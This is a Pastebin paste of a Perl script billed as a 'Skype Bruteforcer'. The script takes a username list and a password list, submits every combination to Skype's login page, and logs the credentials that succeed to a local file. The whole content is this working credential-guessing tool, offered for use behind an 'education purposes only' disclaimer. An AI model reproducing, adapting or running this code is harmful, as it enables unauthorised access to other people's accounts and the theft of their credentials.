Advertisement
Guest User

Voila

a guest
Mar 6th, 2016
131
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.65 KB | None | 0 0
  1. #!perl
  2. #----------------------------------------------------------------------------------------------|
  3. #With this program you can bruteforce skype accounts |
  4. #Authors: Alexander Rachev (a.k.a matrix_killer) |
  5. #Contact: matrix_k _at_ abv.bg |
  6. #Version: 1.0 |
  7. #Copyright: this program is under a Creative Commons Attribution 2.5 Bulgaria License. |
  8. #Greets: Bl0od3r, Acid_BDS, Alpha-fan and all other friends[they know who they are ;)] |
  9. # !WARNING! |
  10. # THIS PROGRAM IS MADE FOR EDUCATION PURPOSES ONLY ! I'M NOT RESPONSIBLE FOR YOUR ACTIONS !!! |
  11. #----------------------------------------------------------------------------------------------|
  12.  
  13. #http://search.cpan.org/~nanis/Crypt-SSLeay/SSLeay.pm IS REQUIRED !!!!
  14.  
  15. use Getopt::Std;
  16. use HTTP::Request::Common qw(POST);
  17. use LWP::UserAgent;
  18.  
  19. $SIG{'INT'} = \&sig_catch;$SIG{'HUP'}='IGNORE';$SIG{'TERM'}='IGNORE';
  20. $SIG{'CHLD'}='IGNORE';$SIG{'ALRM'}='IGNORE';
  21.  
  22. $| = 1;
  23.  
  24. sub sig_catch {
  25. exit;
  26. }
  27.  
  28. getopts('u:p:');
  29. our($opt_u,$opt_p);
  30.  
  31. my $userlist = $opt_u;
  32. my $passlist = $opt_p;
  33.  
  34. if ($userlist eq "") {
  35. print "\n";
  36. print "***************************************************************************\n";
  37. print "Skype Bruteforcer v1.0 \n";
  38. print "By Alexander Rachev(a.k.a matrix_killer) \n";
  39. print "usage: perl $0 -u <users> -p <passwords> \n";
  40. print "***************************************************************************\n";
  41. exit (1);
  42. }
  43.  
  44. open(USERS, "<$userlist") || die ("Cannot open username file");
  45. open(WORDS, "<$passlist") || die ("Cannot open password file");
  46. @users= <USERS>;
  47. @words= <WORDS>;
  48. close(USERS);
  49. close(WORDS);
  50. $i=0;
  51.  
  52. foreach $user (@users) {
  53. chomp($user);
  54. foreach $pass (@words) {
  55. chomp($pass);
  56. $ua = LWP::UserAgent->new;
  57. printf("\n%5d Trying $user:$pass", ++$i);
  58. my $req = POST 'https://secure.skype.com/store/member/dologin.html',
  59. [ username => $user, password => $pass, login => 'Sign+me+in' ];
  60.  
  61. my $res = $ua->request($req);
  62.  
  63. if ($res->as_string =~ /cookiecheck/gi) {
  64. open (LOG, ">>bruted_skype_accounts.txt");
  65. $time = time();
  66. $loctime = localtime($time);
  67. print LOG "\n";
  68. print LOG "Time: $loctime\n";
  69. print LOG "username: $user\n";
  70. print LOG "passowrd: $pass\n\n";
  71. close(LOG);
  72. }}}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement